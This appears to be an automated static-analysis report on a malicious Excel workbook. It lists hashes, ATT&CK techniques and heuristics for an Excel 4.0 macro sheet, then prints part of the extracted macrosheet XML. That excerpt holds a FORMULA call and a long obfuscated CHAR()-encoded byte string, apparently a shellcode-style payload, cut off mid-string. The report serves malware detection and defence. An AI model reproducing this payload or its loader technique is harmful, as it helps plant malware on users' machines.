Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 59dbb14ac5d2c56d…

MALICIOUS

Office (OOXML)

146.3 KB Created: 2021-09-06 09:24:59 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-25
MD5: 0e087247549dac7bf8857d53aa7e59ab SHA-1: 91a319c596a200285fce70e76ace44d5753efa80 SHA-256: 59dbb14ac5d2c56ded7a2001f47f1557cb80a2045dc34b8311dc4083615b77b4
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel document contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like FORMULA, which can be used to download and execute arbitrary code. The presence of these macros and the use of dangerous functions strongly suggest an attempt to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FORMULA, GOTO critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 672603 bytes
SHA-256: aa2f5d9ece7d375ddb7c878c0d608d9bbc864541985aae50ad3e2ad4b606e82a
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{E58578E3-9102-4DCF-B6CC-6E02E171E19D}"><dimension ref="ED1:EG805"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="1" spans="134:137" x14ac:dyDescent="0.25"><c r="ED1" t="b"><f>FORMULA(EG65&amp;EG33&amp;EG41&amp;EG46&amp;EG41&amp;EG66&amp;EG44&amp;EG55&amp;EG29&amp;EG54&amp;EG56&amp;EG62&amp;EG67,EI1)</f><v>0</v></c><c r="EE1" t="str"><f>CHAR(235)&amp;CHAR(35)&amp;CHAR(91)&amp;CHAR(137)&amp;CHAR(223)&amp;CHAR(176)&amp;CHAR(235)&amp;CHAR(252)&amp;CHAR(174)&amp;CHAR(117)&amp;CHAR(253)&amp;CHAR(137)&amp;CHAR(249)&amp;CHAR(137)&amp;CHAR(222)&amp;CHAR(138)&amp;CHAR(6)&amp;CHAR(48)&amp;CHAR(7)&amp;CHAR(71)&amp;CHAR(102)&amp;CHAR(129)&amp;CHAR(63)&amp;CHAR(68)&amp;CHAR(20)&amp;CHAR(116)&amp;CHAR(8)&amp;CHAR(70)&amp;CHAR(128)&amp;CHAR(62)&amp;CHAR(235)&amp;CHAR(117)&amp;CHAR(238)&amp;CHAR(235)&amp;CHAR(234)&amp;CHAR(255)&amp;CHAR(225)&amp;CHAR(232)&amp;CHAR(216)&amp;CHAR(255)&amp;CHAR(255)&amp;CHAR(255)&amp;CHAR(5)&amp;CHAR(11)&amp;CHAR(11)&amp;CHAR(5)&amp;CHAR(10)&amp;CHAR(1)&amp;CHAR(5)&amp;CHAR(6)&amp;CHAR(3)&amp;CHAR(3)&amp;CHAR(13)&amp;CHAR(9)&amp;CHAR(10)&amp;CHAR(15)&amp;CHAR(2)&amp;CHAR(1)&amp;CHAR(12)&amp;CHAR(5)&amp;CHAR(2)&amp;CHAR(13)&amp;CHAR(2)&amp;CHAR(9)&amp;CHAR(7)&amp;CHAR(10)&amp;CHAR(12)&amp;CHAR(2)&amp;CHAR(13)&amp;CHAR(29)&amp;CHAR(3)&amp;CHAR(3)&amp;CHAR(5)&amp;CHAR(13)&amp;CHAR(2)&amp;CHAR(4)&amp;CHAR(5)&amp;CHAR(5)&amp;CHAR(8)&amp;CHAR(7)&amp;CHAR(23)&amp;CHAR(1)&amp;CHAR(5)&amp;CHAR(1)&amp;CHAR(8)&amp;CHAR(18)&amp;CHAR(2)&amp;CHAR(8)&amp;CHAR(6)&amp;CHAR(2)&amp;CHAR(10)&amp;CHAR(6)&amp;CHAR(28)&amp;CHAR(2)&amp;CHAR(10)&amp;CHAR(5)&amp;CHAR(5)&amp;CHAR(2)&amp;CHAR(2)&amp;CHAR(6)&amp;CHAR(5)&amp;CHAR(5)&amp;CHAR(2)&amp;CHAR(5)&amp;CHAR(5)&amp;CHAR(5)&amp;CHAR(1)&amp;CHAR(5)&amp;CHAR(10)&amp;CHAR(9)&amp;CHAR(2)&amp;CHAR(11)&amp;CHAR(235)&amp;CHAR(237)&amp;CHAR(131)&amp;CHAR(68)&amp;CHAR(5)&amp;CHAR(10)&amp;CHAR(137)&amp;CHAR(74)&amp;CHAR(6)&amp;CHAR(3)&amp;CHAR(149)&amp;CHAR(114)&amp;CHAR(73)&amp;CHAR(133)&amp;CHAR(243)&amp;CHAR(57)&amp;CHAR(165)&amp;CHAR(137)&amp;CHAR(207)&amp;CHAR(166)&amp;CHAR(223)&amp;CHAR(222)&amp;CHAR(219)&amp;CHAR(119)&amp;CHAR(132)&amp;CHAR(135)&amp;CHAR(191)&amp;CHAR(58)&amp;CHAR(166)&amp;CHAR(141)&amp;CHAR(135)&amp;CHAR(125)&amp;CHAR(133)&amp;CHAR(28)&amp;CHAR(203)&amp;CHAR(177)&amp;CHAR(180)&amp;CHAR(111)&amp;CHAR(120)&amp;CHAR(67)&amp;CHAR(244)&amp;CHAR(35)&amp;CHAR(1)&amp;CHAR(8)&amp;CHAR(18)&amp;CHAR(2)&amp;CHAR(228)&amp;CHAR(8)&amp;CHAR(99)&amp;CHAR(49)&amp;CHAR(100)&amp;CHAR(67)&amp;CHAR(104)&amp;CHAR(219)&amp;CHAR(214)&amp;CHAR(18)&amp;CHAR(204)&amp;CHAR(16)&amp;CHAR(133)&amp;CHAR(28)&amp;CHAR(193)&amp;CHAR(62)&amp;CHAR(132)&amp;CHAR(110)&amp;CHAR(222)&amp;CHAR(173)&amp;CHAR(206)&amp;CHAR(41)&amp;CHAR(165)&amp;CHAR(205)&amp;CHAR(14)&amp;CHAR(157)&amp;CHAR(87)&amp;CHAR(250)&amp;CHAR(184)&amp;CHAR(72)&amp;CHAR(135)&amp;CHAR(36)&amp;CHAR(128)&amp;CHAR(252)&amp;CHAR(198)&amp;CHAR(205)&amp;CHAR(160)&amp;CHAR(135)&amp;CHAR(44)&amp;CHAR(132)&amp;CHAR(122)&amp;CHAR(103)&amp;CHAR(199)&amp;CHAR(130)&amp;CHAR(52)&amp;CHAR(80)&amp;CHAR(31)&amp;CHAR(101)&amp;CHAR(170)&amp;CHAR(173)&amp;CHAR(245)&amp;CHAR(250)&amp;CHAR(32)&amp;CHAR(99)&amp;CHAR(161)&amp;CHAR(7)&amp;CHAR(152)&amp;CHAR(21)&amp;CHAR(229)&amp;C
... (truncated)